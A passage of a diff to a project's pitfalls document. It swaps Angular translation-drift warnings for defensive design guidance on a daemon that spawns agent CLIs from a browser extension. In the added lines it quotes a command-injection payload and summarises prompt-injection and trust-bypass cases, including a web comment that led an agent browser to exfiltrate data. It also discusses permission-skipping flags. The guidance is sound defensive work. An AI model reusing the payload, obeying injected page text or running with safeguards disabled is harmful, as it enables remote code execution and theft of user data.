โ†’ RCE + API token exfiltration), **CVE-2025-54794 / CVE-2025-54795** (whitelisted-command injection: `echo "\"; ; echo \""`), **TrustFall** (folder-trust bypass across Claude/Cursor/Gemini/Copilot CLIs, disclosed May 2026, one Enter keypress = RCE), and the Palo Alto Unit 42 write-up documents in-the-wild indirect prompt injection where a Reddit comment caused an agent browser to exfiltrate private data. + +**Why it happens:** +Developers treat the "prompt" as opaque text and hand it to the CLI as-is. But every agent CLI's process model is: (prompt + tool results + file contents) โ†’ LLM โ†’ tool calls. The moment the daemon executes `claude -p `, every downstream trust boundary in the CLI is being asked to defend against attacker-supplied text that arrived from a browser. + +**How to avoid:** +1. **Extension is the ONLY origin of the delegation request.** Never accept a spawn request whose prompt came from an external page (side panel is the single canonical origin). The bridge already rejects untrusted browser origins for MCP โ€” the delegation channel must apply the same rule. +2. **Strict argv construction.** No shell interpolation; use `execFile`/`spawn` with an argv array, never `sh -c`. Cite: CVE-2025-54795 was command-injection through whitelisted commands โ€” never build the argv by concatenating strings. +3. **Fix the flag set daemon-side, not client-side.** The daemon supplies `--strict-mcp-config`, agent-definition path, permission mode, and cwd; the extension provides ONLY the prompt string and adapter selector. If any flag can be overridden by the reverse-request payload, treat it as a control-plane input and reject unknown keys. +4. **Ship the `fsb` agent definition instead of prompt-stuffing.** The Key Context in PROJECT.md already commits to this โ€” enforce it: user prompt goes to `--append-system-prompt` or `-p` positional, never into `--system-prompt` or `--mcp-config`. +5. **Consent tiers.** First delegation to a given CLI must be explicit-user-approve (control-panel toggle). Subsequent runs in the same session can be silent. Explicit warning language ("This will spawn Claude Code on your machine with permission to control this browser"). +6. **Log-only prompt review.** Persist every prompt sent to a CLI in a ring buffer (redacted for secrets); surface it in a "recent delegations" list. Post-facto audit is the last line of defense. + +**Warning signs:** +- The delegation payload accepts arbitrary CLI flags from the wire. +- Any string is passed to a shell (`sh -c`, `bash -c`, `cmd /c`). +- The extension side-panel prompt input is not distinguishable from a prompt injected via a content-script message or an external page. +- No storage of executed prompts for post-hoc audit. + +**Phase to address:** +Phase 60 (channel design) for the argv/flag-fix, Phase 61 (adapter contract) for the "no external-page origins" rule, Phase 62 (UX consent) for the first-time approval tier. This pitfall spans multiple phases because it is a defense-in-depth problem; do NOT let any of the three slip. + +--- + +### Pitfall 4: Auto-approve / `--dangerously-skip-permissions` as a default or convenience option + +**What goes wrong:** +"MVP should just work" pressure leads to shipping `--dangerously-skip-permissions` (Claude Code), `--yolo` (Gemini CLI), or `--full-auto` (Codex `exec` with auto-approval) as the default or as a one-click toggle. The moment that flag is on, any prompt injection (Pitfall 3), any CSWSH (Pitfall 1), any rebinding (Pitfall 2), or any repository-trust bypass (TrustFall) becomes silent RCE with the user's full shell privileges. + +The `--dangerously-skip-permissions` name was chosen by Anthropic literally because "it's exactly what happens." Vendors classify it as user's-informed-consent territory โ€” meaning your product, not theirs, is on the hook if you ship it as a convenience default. + +**Why it happens:** +Confirmation prompts hurt demo videos. Product wants "one click and it goes." Engineering knows the safe path is annoying. The `--yolo` name in Gemini CLI ships for the same reason. Then TrustFall (May 2026) proved every agent CLI's trust dialog can be bypassed by malicious project settings, meaning even the vendor's own confirmation UI is not always reliable. + +**How to avoid:** +1. **Never expose `--dangerously-skip-permissions` or equivalent through FSB's spawn payload.** The daemon controls the flag set; the reverse-request channel cannot request it. This must be a permanent invariant, not an "MVP posture we relax later." +2. **Default to Claude Code's `--permission-mode strict` or the equivalent tightest mode.** Every subsequent tool call inside the CLI goes back through user consent โ€” either via the CLI's own dialog OR (better) via FSB's own MCP consent surface. +3. **Route permission prompts back to the side panel.** When the spawned CLI asks "run rm -rf?", the CLI's dialog must be captured (via `--permission-prompt-tool` or the ACP equivalent) and reflected in FSB's UI, not answered by the daemon. FSB owns the yes/no because FSB owns the human. +4. **Explicit "advanced" mode gate.** If a user genuinely wants a looser posture, require a control-panel checkbox that names the specific risk ("This lets the agent modify files without asking. Attackers who reach this channel can run arbitrary code."). Do not name the toggle "Fast mode." + +**Warning signs:** +- Any code that has a boolean like `autoApprove: true` in the adapter contract. +- Any UI copy that describes bypass as "faster" or "smoother" without naming the risk. +- Any test that requires bypass to be on for the flow to succeed. If your happy path needs bypass, your happy path is broken. + +**Phase to address:** +Phase 60 (adapter contract locks the flag set) + Phase 62 (UX explicitly denies the "make it fast" toggle). Add a lint or test that grep-fails the build if `--dangerously-skip-permissions` appears anywhere in the daemon spawn path outside a marked "advanced-mode" branch. + +--- + +### Pitfall 5: Weak / leaked shared secret between extension and daemon + +**What goes wrong:** +The extensionโ†’daemon shared secret leaks via any of: `chrome.storage.local` (readable by other extensions with the right permission and by any process that reads the profile directory), diagnostic logs (redaction gap), the URL query string of a WebSocket handshake (logged by proxies and by some OS-level packet capture), or a static config file the daemon reads with world-readable permissions. Anything with the secret can spawn arbitrary CLIs as the user. + +**Why it happens:** +It is easy to write `?token=abc123` in the WS URL. It is easy to `console.log(token)` while debugging. It is easy to store the secret in `chrome.storage.local` and forget that `chrome.storage.local` is NOT the same trust boundary as macOS Keychain. + +**How to avoid:** +1. **Per-install random token (>=32 bytes, `crypto.randomUUID()` at minimum, prefer `getRandomValues(new Uint8Array(32))`).** +2. **Rotate on daemon restart.** The extension picks up the new token via a small pairing handshake gated by (a) the daemon writing a file under the user's home directory with mode 0600 that the extension reads via a native manifest, or (b) a one-time pairing code the user copies from `fsb-mcp-server pair`. +3. **Send in `Sec-WebSocket-Protocol` (never the URL).** URL query strings show up in access logs, DevTools waterfalls, and proxy captures. `Sec-WebSocket-Protocol` is a first-class handshake header. +4. **Redaction bar covers the token.** Extend the existing `redactForLog` helper (from v0.9.45rc1 Phase 211) to strip `token=...` and `Sec-WebSocket-Protocol: fsb-...` patterns. +5. **Do NOT make the token the only defense.** Origin allowlist (Pitfall 1) is still primary. If the token leaks (it will eventually), the Origin check must still block attacker pages. + +**Warning signs:** +- Token appears in any `console.log` or diagnostic ring buffer entry. +- Token stored in `chrome.storage.sync` (syncs across devices โ€” huge leak surface). +- File-based token has mode > 0600. +- Rotation policy is "never" or "on Chrome restart" (which almost never happens). + +**Phase to address:** +Phase 60 (channel design + secret contract). The rotation UX ships with Phase 62. + +--- + +### Pitfall 6: Zombie/orphaned child processes on cancel or crash (especially on Windows) + +**What goes wrong:** +User clicks "Cancel". Daemon calls `child.kill()`. On POSIX, that sends SIGTERM to the parent CLI process โ€” but Claude Code / Codex / Gemini CLI often spawn sub-processes (git, ripgrep, MCP servers, editors). The signal does not propagate to the tree. Sub-processes keep running, keep charging tokens, and if any of them held a `chrome.debugger` attachment or a browser session, they keep manipulating the browser after the user thought they cancelled. On Windows, POSIX signals do not exist at all โ€” the `kill()` call is essentially always SIGKILL and does not walk the tree. + +Evidence: **Auto-Claude issue #1252** ("Process cleanup broken - zombie processes accumulate after app close") documents this exact class on Windows. The Node.js docs state explicitly: "On Windows... signal argument will be ignored except for 'SIGKILL', 'SIGTERM', 'SIGINT' and 'SIGQUIT', and the process will always be killed forcefully." Multiple community write-ups document that `child_process.kill()` on Linux does not kill grandchildren. + +**Why it happens:** +Node's `child.kill()` API is deceptively simple. Developers assume the platform does tree-kill. It does not. Also, `wait/waitpid` is not exposed to Node scripts, so zombies (dead-but-unreaped children) accumulate silently. + +**How to avoid:** +1. **Spawn detached with a new process group.** POSIX: `spawn(cmd, args, { detached: true })` then `process.kill(-child.pid, 'SIGTERM')` (negative PID = kill the group). Give a graceful window (5 s) then `SIGKILL -child.pid`. +2. **Windows: use `taskkill /pid /T /F`.** `/T` = tree, `/F` = force. This is the only reliable tree kill on Windows. +3. **Cross-platform: use a well-tested library.** `tree-kill` npm package handles both. Verify it is maintained (last audit in v0.9.30 covered `chrome.tabs` โ€” do a fresh look here). +4. **Watchdog for orphans.** On daemon startup, scan the process tree for any `claude`/`codex`/`gemini` process whose parent is init/1 and whose command line contains an FSB-tagged env var (`FSB_DELEGATION_ID=...`). Kill it. This prevents accumulation after daemon crashes. +5. **Reap on exit.** Register `child.on('exit', ...)` to `waitpid` implicitly (Node's default) โ€” but log exits so accumulating zombies get diagnosed. +6. **Handle `child.on('error')`.** Every spawn can fail (ENOENT, EPERM); missing error handlers leave dangling promises the UI never resolves. + +**Warning signs:** +- Any `child.kill()` without a `{ detached: true }` spawn and negative-PID kill. +- No Windows-specific `taskkill /T` branch. +- No orphan scan on daemon startup. +- User reports of "Claude Code kept running after I cancelled" or unexplained token burn. + +**Phase to address:** +Phase 61 (adapter contract defines kill semantics per adapter). This is a "shipped-wrong-once, sits in the wild forever" pitfall โ€” get it right first time. + +--- + +### Pitfall 7: Stdout backpressure on stream-json output deadlocks the CLI + +**What goes wrong:** +Claude Code's `--output-format stream-json` and Codex's `--json` both emit newline-delimited JSON at the rate the model produces tokens (fast โ€” thousands of lines per minute for a chatty run). The daemon reads `child.stdout`. If the daemon does NOT drain the stdout stream fast enough (or holds it while awaiting an async op), the kernel pipe buffer fills, `write()` in the child blocks, and the CLI deadlocks with the model half-through a turn. The stall looks like "Claude is thinking" to the user, but the CLI is not โ€” it is blocked on write. + +Node.js streams do this correctly IFF you use `pipe()` or `pipeline()`, but if you use manual `stdout.on('data', ...)` and do async work in the handler without pausing/resuming, you WILL leak or deadlock. From the Node docs: "When a false value is returned, the backpressure system kicks in. It will pause the incoming Readable stream from sending any data..." + +**Why it happens:** +Developers treat stdout like "just a stream of text" and forget it is a real OS pipe with a real 64 KB buffer. + +**How to avoid:** +1. **Use `readline.createInterface({ input: child.stdout })` for line-by-line JSONL parsing.** Do not accumulate the raw buffer in memory. +2. **Emit every parsed event immediately to the extension via the existing bridge; do not await downstream work in the parse callback.** If you must, buffer to a bounded in-memory queue with backpressure. +3. **Cap the queue.** If the extension side stops reading (side panel closed), the queue must either drop-with-notice or apply backpressure back to the CLI via `child.stdout.pause()`. +4. **Route stderr separately.** Codex sends progress to stderr, final message to stdout. Do not merge streams; each has its own backpressure. +5. **Log the read rate.** If stdout emission suddenly drops for >10 s but the child is still alive, that is either the model hanging OR a backpressure deadlock โ€” surface as a diagnostic. + +**Warning signs:** +- Manual `Buffer.concat(chunks)` accumulation in the stdout handler. +- Any `await someLongOp()` inside the `data` event handler. +- User reports of "Claude gets stuck at the same step every time." + +**Phase to address:** +Phase 61 (adapter contract). The base adapter should expose a `stream()` async iterator; individual adapters (Claude/Codex/Gemini) fill in the parse rules. + +--- + +### Pitfall 8: Daemon crashes mid-run and the spawned CLI keeps controlling the browser + +**What goes wrong:** +Daemon process dies (OOM, uncaught exception, SIGSEGV in a native module). The spawned `claude -p` process was NOT parented under a process group the OS will reap; it becomes a zombie with `init` as its new parent. Its MCP client still holds a WebSocket to the extension (which auto-reconnects). It keeps executing tool calls the user cannot see because the side panel lost its progress stream when the daemon died. The browser gets clicked at, the user is confused. + +**Why it happens:** +`{ detached: true }` for tree-kill (Pitfall 6) creates exactly this failure mode if it is not paired with a parent-liveness protocol. + +**How to avoid:** +1. **Extension-side heartbeat.** Every N seconds, extension pings the daemon; if 3 pings missed, extension terminates all agent-owned tabs' MCP sessions and marks agents as `daemon:disconnected`. Existing v0.9.60 agent-cap and connection-id reconnect grace patterns extend cleanly. +2. **Spawned CLI must exit if its MCP transport dies.** For CLIs that connect to FSB's MCP as a client (they do), the transport disconnection should terminate the CLI. Verify per adapter: Claude Code exits when MCP dies? Codex? Gemini? Document per-adapter behavior in the adapter contract. +3. **Daemon restart handshake.** On restart, daemon lists live child processes via the FSB env-var scan (Pitfall 6 #4) and either adopts them (rejoin) or kills them. Do NOT default to adopt โ€” a resurfaced daemon with a stale token is exactly the CSWSH scenario in Pitfall 1. +4. **Side-panel graceful "daemon offline โ†’ doctor" state.** PROJECT.md already commits to this in "Key context" โ€” enforce that Phase 62 ships it before the delegation MVP claims ready. + +**Warning signs:** +- No daemon-liveness heartbeat. +- CLI processes survive daemon exit and continue reaching the extension via MCP. +- Doctor state is a spinner instead of an actionable "Restart daemon: `npx -y fsb-mcp-server serve`" step. + +**Phase to address:** +Phase 62 (daemon lifecycle + doctor handoff). Add a test that spawns a fake CLI, kills the daemon, and asserts the extension sees the outage within 10 s. + +--- + +### Pitfall 9: Agent CLI stdout/flag/schema drift between versions + +**What goes wrong:** +Claude Code ships a new version that renames `--output-format stream-json` โ†’ `--stream=json`, or Codex renames event fields (`item.type` โ†’ `item.kind`). FSB delegation instantly breaks silently: the CLI runs, but the daemon does not recognize any events, the side panel shows nothing, the user sees "Claude is thinking" forever. Alternatively: the CLI's JSONL schema adds a new event type FSB does not handle, and FSB either crashes on `undefined` fields or shows garbled state. + +Evidence: the Claude Code `stream-json` format is documented as evolving (open GitHub issues #24594 and #24612 in 2026 asking Anthropic to actually document the schema); users report `--continue` silently creating a new session in non-interactive `-p` mode (see Pitfall 12); Anthropic paused a June 15 billing change for `claude -p` after the ecosystem reacted, showing the CLI surface is under active behavior churn. + +**Why it happens:** +Agent CLIs are moving faster than any documented contract. FSB does not own them. + +**How to avoid:** +1. **Adapter version detection.** Every adapter runs ` --version` on selection and records the version in the agent-provider metadata. Ship a compatibility matrix per adapter (e.g., "Claude Code โ‰ฅ 2.1 confirmed; 1.x unsupported"). +2. **Fail loudly on unknown events.** Parse every JSONL line; if `event.type` is not in the known set, log with the raw line, DO NOT drop silently. Surface as `agent_protocol_drift` in the diagnostics ring buffer. +3. **Schema smoke on adapter update.** CI job runs each adapter against a canned "print hello and exit" prompt, asserts a known event sequence. Detects drift on every new adapter release. +4. **Doctor exposes the version.** `fsb-mcp-server doctor` shows adapter versions so users can report mismatches. +5. **Adapter contract makes parse errors non-fatal to the run.** An unknown event should not kill the CLI โ€” just annotate the progress stream "1 event not understood." + +**Warning signs:** +- Adapter code references specific event field names without a schema version guard. +- Any `switch (event.type) { case 'x': ...; }` without a `default: log unknown`. +- User bug reports of "delegation used to work, broke after I updated Claude Code." + +**Phase to address:** +Phase 61 (adapter contract MUST embed version + compatibility). Phase 63 (CI drift-smoke gate) โ€” this deserves its own phase because the drift will keep happening across the milestone's life. + +--- + +### Pitfall 10: MV3 service worker eviction during a long delegated run kills the extension side of the pipeline **What goes wrong:** -The commit that reopened this milestone (`6d3ad363`, "chore(i18n): sync messages.xlf with showcase copy refinements") touched 247 `` blocks in `messages.xlf`. Direct diff analysis shows **only 5 of those 247 blocks have an actual `` text change** (`agents.meta.description`, `agents.schema.software.description`, `home.meta.description`, `support.faq.q.tools.a`, `support.schema.faq.tools.a`). The other **242 blocks changed only in ``** โ€” i.e. line numbers shifted because unrelated template edits (new markup, reordered elements) moved existing `i18n`-marked strings to different lines. `ng extract-i18n` regenerates location metadata for every trans-unit in the file on every run, so a single unrelated one-line template edit anywhere in the app can touch dozens of `context-group` blocks with zero copy impact. +User kicks off a 45-minute delegation task. Chrome's MV3 service worker terminates after **30 seconds of inactivity** and after **5 minutes on any single event**. The spawned CLI is still running fine in the daemon; the daemon's MCP link auto-reconnects when the SW respawns; but every SW respawn drops in-memory state (running delegation โ†’ agent-id mapping, progress buffer, side-panel channel), and the user's side panel goes blank or worse โ€” the side panel shows a stale state that does not match what the CLI is actually doing. + +Chrome docs: "The service worker terminates after 30 seconds of inactivity" and "The service worker terminates if a single request... takes longer than 5 minutes to process." WebSocket messages reset the idle timer (Chrome 116+), which helps IF the delegation heartbeats fast enough โ€” but if the model pauses for 60 s on a hard step, the SW dies mid-run. **Why it happens:** -`ng extract-i18n` writes absolute line numbers into `` blocks, and it re-walks the *entire* template tree on every extraction, not just the file that changed. A diff tool (or a human skimming `git diff --stat`) sees "247 lines changed" and reasonably assumes 247 units of translation work, when the true content-change count is off by ~50x. This repo has a documented history of exactly this shape of *harmless* commit โ€” `e83cacad`, `652f02ab`, `ede446a0`, `65236ddb`, `3929e9d2`, `f3f8b756`, `9c97c70d`, and others are all prior "regenerate `messages.xlf` to match template line-number shifts" commits with **zero corresponding locale-file updates**, and none of them were bugs โ€” because none of them changed any `` text. Commit `6d3ad363` broke the streak by burying 5 real content edits inside what looked like (and mostly was) routine churn, and the team's learned pattern-match ("`messages.xlf`-only commit = safe, no locale files needed") fired incorrectly on this one instance. +MV3 was designed for reactive, short-lived event handlers. Delegated runs are neither. **How to avoid:** -- Any resync/audit step in this milestone MUST diff `` text content specifically (not line count, not byte count, not `` metadata) between the current `messages.xlf` and the last-known-good `messages.xlf` per translated locale, to find the true ~5-and-growing set of stale trans-unit IDs. A one-off script comparing `` -> `` text pairs (ignoring ``) across the git history of `messages.xlf` is the correct tool, not `git diff --stat`. -- The new CI drift gate (target of this milestone) MUST diff on `` **text content per `id`**, never on whole-file byte diff or trans-unit-count diff. A byte-diff gate would have failed (correctly, but unhelpfully) on all 11 prior pure-line-shift commits, training the team to treat gate failures as noise to bypass โ€” which is precisely the failure mode to avoid (see Pitfall 6). -- Re-verify the "247" number is stale the moment any other unrelated template PR merges before this milestone starts โ€” the real count drifts every time any showcase template changes, even for unrelated work. +1. **Persist delegation state in `chrome.storage.session`** (v0.9.36's visual-session pattern already does this; extend the same discipline). Every progress event โ†’ write. On SW respawn โ†’ read. +2. **Heartbeat WebSocket every 20 s from the daemon side.** Even if the CLI is silent, send a `keep_alive` frame. This resets the SW's 30 s idle timer. +3. **Load-bearing pattern from v0.10.0 INV-04:** the `setTimeout`-chained iterator survives SW eviction. Extend that pattern to the delegation supervisor โ€” write state before each await, resume from persisted state on wake. +4. **Do NOT rely on offscreen documents for WebSocket.** Chrome does not officially support WebSocket in offscreen documents (per the Chrome team). The offscreen doc pattern is for audio and DOM parsing, not for network keepalive. +5. **Alarm-based backup.** `chrome.alarms.create('fsb-delegation-heartbeat', { periodInMinutes: 0.5 })` fires even if idle; use to poll persisted state. +6. **Warn the user for very long runs.** If a delegation crosses 5 min, show "Long run in progress โ€” do not close the browser." **Warning signs:** -- A resync PR that shows large uniform diffs across all 5 locale `.xlf` files with no meaningful change in the actual translated `` text โ€” a sign the script/human touched `` metadata instead of (or in addition to) verifying ``-vs-`` staleness. -- Effort estimates ("we need to re-translate 247 strings") that are wildly out of proportion to the actual diff โ€” always re-derive the real count from ``-only diffing before scoping the resync phase. +- Any in-memory Map in the SW that holds delegation state. +- No `chrome.storage.session` write after each progress event. +- Test suite lacks a "kill SW mid-delegation, respawn, assert state recovery" case. **Phase to address:** -Audit/resync phase (first phase of this milestone) โ€” must start with a ``-text-only diff script (not `git diff`) to establish the true stale-ID set before any translation work is commissioned. +Phase 62 (SW lifecycle + persistence for delegated runs). Verify the v0.9.24 `setTimeout`-iterator pattern was preserved through v0.10.0 Lattice integration โ€” INV-04 is load-bearing here. --- -### Pitfall 2: `i18n` attribute presence in a template is treated as proof of a correct, current translation +### Pitfall 11: Source-pin tripwire tests break the moment the extension gets wired to delegation **What goes wrong:** -The existing `lint:i18n` gate is `@angular-eslint/template/i18n` with `checkId`/`checkText`/`checkAttributes` โ€” it verifies that every user-facing string and listed attribute in a `.html` template carries an `i18n` / `i18n-*` marker. It says **nothing about the 5 translated locale `.xlf` files**: not whether a `` with a matching `id` exists in each of `messages.es.xlf` / `.de.xlf` / `.ja.xlf` / `.zh-CN.xlf` / `.zh-TW.xlf`, not whether the `` text is a real translation vs. a placeholder, and critically **not whether the `` is still faithful to the current ``**. A page can pass `lint:i18n` cleanly while every one of its translations is stale, wrong, or a copy-paste of the English source. This is the exact false-confidence trap the milestone must avoid repeating. -Separately, `i18nMissingTranslation: "error"` in `angular.json` (the Angular build-time gate) only fails the build if a trans-unit ID referenced by a template is **entirely absent** from a locale file โ€” a translation that exists but is now stale/wrong relative to a changed `` satisfies the builder with zero warning, because Angular has no concept of "this target no longer matches this source" at build time. +FSB's test suite pins **exact token counts and exact substrings** in extension source files (e.g., `extension/background.js`). Even a comment change breaks tests. The v0.9.91 milestone REQUIRES adding delegation wiring to `background.js`, `ui/onboarding.js`, `ui/control_panel.html`, and `engine-config.js` (fifth EXECUTION_MODES entry). Any edit will trip the pin unless the test is updated in the same commit. The auto-memory note is explicit: "even comments (e.g. the word 'importScripts' in background.js) break the suite." **Why it happens:** -Angular's i18n tooling (both the eslint template rule and the build-time `i18nMissingTranslation` flag) was designed to catch **coverage** gaps (untranslated/missing strings), not **staleness** gaps (translated-but-now-wrong strings). Every existing CI gate in this repo (`lint:i18n`, `verify-locale-sync.mjs`, the `ng extract-i18n --output-path ... | diff` step, `verify:hreflang`) checks a different axis of "does this look complete," and none of the four checks translation *content correctness or currency*. It is easy to audit a page, see `i18n="@@foo.bar"` on every element, see the page render in Spanish/German/Japanese without console errors, and conclude "this page is translated" โ€” without ever comparing the *meaning* of the current English `` against the *current* `` in each locale file. +Tripwires were added to catch accidental deletions/regressions. They cannot distinguish accidental from intentional. **How to avoid:** -- The full-page audit (this milestone's Target Feature 1) must explicitly separate two checks per string: (a) "is there an `i18n` marker + a `` with a `` in every locale" (coverage โ€” what today's tooling already checks) and (b) "does that `` still correspond to the *current* `` text" (currency โ€” what today's tooling does NOT check). Only (b) proves the translation is genuinely up to date. -- Build the currency check as a scripted ``-text-fingerprint comparison (e.g., hash the `` at time of last known-good translation vs. hash of current ``, per `id`, per locale file) rather than a manual "spot check a few strings" pass โ€” manual spot-checks will not catch every stale ID across ~940+ trans-units x 5 locales. -- Explicitly do NOT accept "renders without error in all locales" or "eslint passes" as evidence of translation currency during the audit โ€” both are necessary but insufficient signals. +1. **Run the full test suite from commit 1 of the milestone.** PROJECT.md Key Context already commits to this โ€” enforce it (CI gate on every PR). +2. **Every extension-source edit must include a paired tripwire update in the same commit.** Grep the test suite for the file being edited BEFORE editing; enumerate pinned substrings/counts; plan the updates. +3. **New symbols in `background.js` must have their tripwire seeded from the first commit** (initial token-count pin, initial substring assertion). Do not "add later" or the diff over the milestone becomes untraceable. +4. **The delegation dispatcher must integrate through `fsbDispatchInternalMessage` (background.js:8731)** โ€” do NOT use `chrome.runtime.sendMessage` for same-SW-context dispatch. Auto-memory: "sendMessage never loops back in-SW." Same-context dispatch pattern was chosen deliberately in the Phase 225-01 bus. **Warning signs:** -- An audit report that lists pages as "done" based solely on `lint:i18n` passing or the page rendering visually in each locale, with no ``-vs-`` text comparison performed. -- Any claim that "the stats page just needs to come off the ignore-pattern list" without first checking whether its `stats.*` trans-units in the 5 locale files are current AND whether the orphaned `translations.stats-274.{locale}.json` artifacts (see Pitfall 4) were ever actually merged in. +- CI red on the first extension-wiring commit with a "token count mismatch" or "substring not found" error. +- Any use of `chrome.runtime.sendMessage` from background code to another background handler. +- New extension source without a corresponding new tripwire. **Phase to address:** -Full-page audit phase โ€” must produce, for every showcase page, a per-locale per-trans-unit currency verdict (not just a coverage verdict) before the resync phase begins. +Every phase that touches extension source. Add a milestone-level gate in Phase 57 (requirements definition) that says "no extension-side phase can merge if the tripwire suite is red." --- -### Pitfall 3: The `state="translated"` XLIFF attribute is present but never used as a staleness signal, so it's easy to assume it means "verified current" +### Pitfall 12: Chat-thread vs one-shot mismatch (`--resume` vs `-p` semantics) **What goes wrong:** -Every `` element in the 5 translated locale files (verified: 996 occurrences in `messages.es.xlf` alone) carries `state="translated"`. In the XLIFF 1.2 spec, `state="translated"` means only "a translation exists for this unit" โ€” it is set once at translation time and is **never automatically flipped** by Angular's tooling (extraction, build, or otherwise) to `needs-review-translation` or `needs-translation` when the corresponding `` subsequently changes. Nothing in this repo's tooling reads or writes this attribute as a drift signal. A reviewer or future audit script that sees `state="translated"` on every single trans-unit in all 5 locale files could easily (and wrongly) read that as "confirmed current" rather than "a translation was assigned at some point in the past, possibly against different English source text." +User expects delegation to be a conversation โ€” they type a follow-up, agent picks up where it left off. FSB naively uses `claude -p ` each time. Each call is a fresh session; the agent has no memory of the previous turn. Alternatively: user thinks the same "conversation" is running in parallel across two side-panel starts; actually two sessions collide. + +Documented Claude Code footgun: **"In non-interactive mode with `-p`, `--continue` can silently create a new session rather than resuming the existing one."** Scripts that rely on `--continue` for stateful pipeline work fail silently. Explicit `--resume ` is the only reliable mode. **Why it happens:** -`assemble-xliff-target.mjs` (the tool that produces each `messages..xlf`) hardcodes `state="translated"` on every `` it writes, with no state-machine logic for source-changed-since-translation. Angular's own build pipeline doesn't consume or validate this attribute either โ€” it only checks for the ``'s *existence*. So the attribute exists structurally (it's part of the XLIFF schema Angular emits) but carries zero semantic weight in this codebase's actual workflow, making it a plausible-looking but false signal of currency. +`-p` (print-and-exit) and `--resume` are two different execution models; the CLIs make it too easy to invoke `-p` without realizing chat continuity is off. **How to avoid:** -- Do NOT rely on `state="translated"` (or its absence) as evidence of translation currency in the audit โ€” it is currently meaningless in this repo's pipeline (always the same value, written unconditionally). -- If the new CI gate or resync tooling wants a persistent "last verified against source hash X" signal, that needs to be a **new** field/mechanism this milestone introduces (e.g., a stamp file mapping `id` -> `source`-text-hash-at-last-verification per locale, checked into the repo alongside the locale files) โ€” not a repurposing of the existing always-`"translated"` XLIFF `state` attribute, since retrofitting real semantics onto that attribute would require rewriting `assemble-xliff-target.mjs`'s state logic and is a larger, riskier change than a sidecar tracking file. -- If the milestone *does* choose to start using `state="needs-review-translation"` as the drift signal (the more "correct" XLIFF-native approach), that decision must be made explicitly and the assembly script + CI gate updated together โ€” not partially, or the two will disagree about what "stale" means. +1. **Adapter contract has explicit `mode: 'task' | 'chat'`.** `task` = fresh session, one-shot; `chat` = session_id must be provided. +2. **FSB persists `session_id` per (side panel, adapter).** On follow-up, pass `--resume `. On new task, mint a new session. +3. **Explicit UI affordance.** Side panel shows "Start new task" vs "Continue this conversation" with clear resume behavior. +4. **Per-adapter capabilities matrix.** Claude Code: `--resume` supported, `--continue` unreliable in `-p`. Codex `exec`: turn-based, no persistent session (yet). Gemini CLI: TBD, verify per version. Adapters must expose `caps.chatMode: boolean`. **Warning signs:** -- Any CI gate design or audit heuristic that checks `state=` values in the locale `.xlf` files and treats `state="translated"` as a pass condition โ€” today that's true of 100% of trans-units regardless of actual currency, so it would never fire. +- Same-session follow-ups produce agent responses like "I don't have context on your previous request." +- Two concurrent side-panel runs overwrite each other's session state. +- No `session_id` recorded in persisted delegation state. **Phase to address:** -CI drift-gate design phase โ€” must pick one canonical staleness signal (source-hash sidecar file is lower-risk than repurposing XLIFF `state=`) and use it consistently across the resync verification and the new CI gate. +Phase 61 (adapter contract) defines the two modes. Phase 62 (UX) ships the affordance. --- -### Pitfall 4: Orphaned "already translated" artifacts create false completeness signals during the audit +### Pitfall 13: Cold-start latency shocks the user **What goes wrong:** -`showcase/angular/src/locale/` already contains `translations.stats-274.{de,es,ja,zh-CN,zh-TW}.json` files โ€” per-locale JSON translation maps for a `SHOWCASE_STATS_FSB_*` trans-unit prefix, produced during a prior "Phase 274" stats-page work item, each carrying a `_comment` documenting brand-name preservation rules. These are a **different, disjoint ID namespace** from the `stats.*` prefix already present in the 40 existing `stats.*` trans-units inside `messages.xlf`. It is not verified whether these JSON files were ever run through `assemble-xliff-target.mjs` / `merge-and-assemble-274.mjs` and merged into the live `messages..xlf` files, or whether they are stranded artifacts from an incomplete prior attempt. An auditor who finds these files could reasonably (and wrongly) conclude "the stats page already has translations ready to go, just flip the ignore-pattern" without checking whether those translations ever made it into the actual locale files the build consumes, or whether the `stats.*` namespace (already in the live XLF) duplicates/conflicts with the `SHOWCASE_STATS_FSB_*` namespace (only in the orphaned JSON). -More generally: on a project with this much accumulated debt, expect other half-finished artifacts (scratch translation JSONs, one-off merge scripts, prior draft XLF files) that look like progress but were never wired into the build. +User clicks "Delegate to Claude Code". Side panel spinner runs for 3-8 seconds while: (a) the daemon spawns `node` (~150-300 ms cold), (b) the CLI initializes (`claude` reads config, loads MCP servers, warms cache โ€” 1-3 s), (c) the first LLM turn returns (2-5 s depending on model). User assumes it hung; clicks again. Now there are two delegated runs on the same tab (Pitfall 15). + +Node.js cold start alone is 150-300 ms per credible sources; the agent CLI stack on top of that pushes total to 3-8 s realistically for the first invocation. **Why it happens:** -The translation pipeline in this repo is manual and script-driven (`extract-translation-skeleton.mjs` -> external AI/human translation -> `assemble-xliff-target.mjs` or `merge-and-assemble-274.mjs` -> commit the regenerated `messages..xlf`), with no single command that does the whole round-trip atomically and no CI check verifying that every `translations.*.json` file in the locale directory has actually been consumed. It is entirely possible to generate translation JSON, get interrupted (a milestone boundary, a pivot), and leave the JSON sitting in the repo unconsumed indefinitely โ€” exactly matching the `dashboard`/`stats` deferred-debt pattern already seen twice in this project's history. +Every delegation launches a fresh CLI subprocess. There is no warm pool. First-turn latency compounds Node init + CLI init + LLM first token. **How to avoid:** -- Before scoping the stats-page translation work, explicitly check: (a) do the `stats.*` IDs already in `messages.xlf` cover everything the stats page template currently marks with `i18n`, or is the template now using `SHOWCASE_STATS_FSB_*` IDs that were extracted later and never merged? (b) are the `translations.stats-274.*.json` values actually reflected in the current `messages..xlf` `` text for those specific IDs, or are they still sitting unmerged? -- Treat every "already translated" artifact found during the audit as **unverified** until traced end-to-end into the live `messages..xlf` files that the Angular build actually consumes at `angular.json`'s `i18n.locales` paths โ€” artifacts elsewhere in the tree (JSON maps, scratch files) are not proof of shipped translation. -- Once the stats page is fully resolved this milestone, consider whether the orphaned JSON files should be deleted (if superseded) or documented as the canonical source for those specific IDs, to prevent a third stranded-artifact discovery in a future milestone. +1. **Optimistic UI.** Show "Starting Claude Codeโ€ฆ" with progress step names (spawning โ†’ initializing โ†’ sending first prompt) so the user knows work is happening. +2. **Idempotent "Delegate" button.** Debounce and disable the button while a spawn is in flight. Multiple clicks CANNOT produce multiple spawns. +3. **Warm daemon.** The daemon can pre-fork the Node process pool or keep one CLI warm per selected adapter (memory tradeoff). For MVP: SKIP warm-pool; instead, focus on honest UX (step names). +4. **Cache the "installed clients" detection.** Don't re-scan disk (`platforms.ts` per-OS paths) on every side-panel open โ€” this cost accumulates. +5. **Manage user expectations in copy.** The side panel button should read "Delegate (may take a 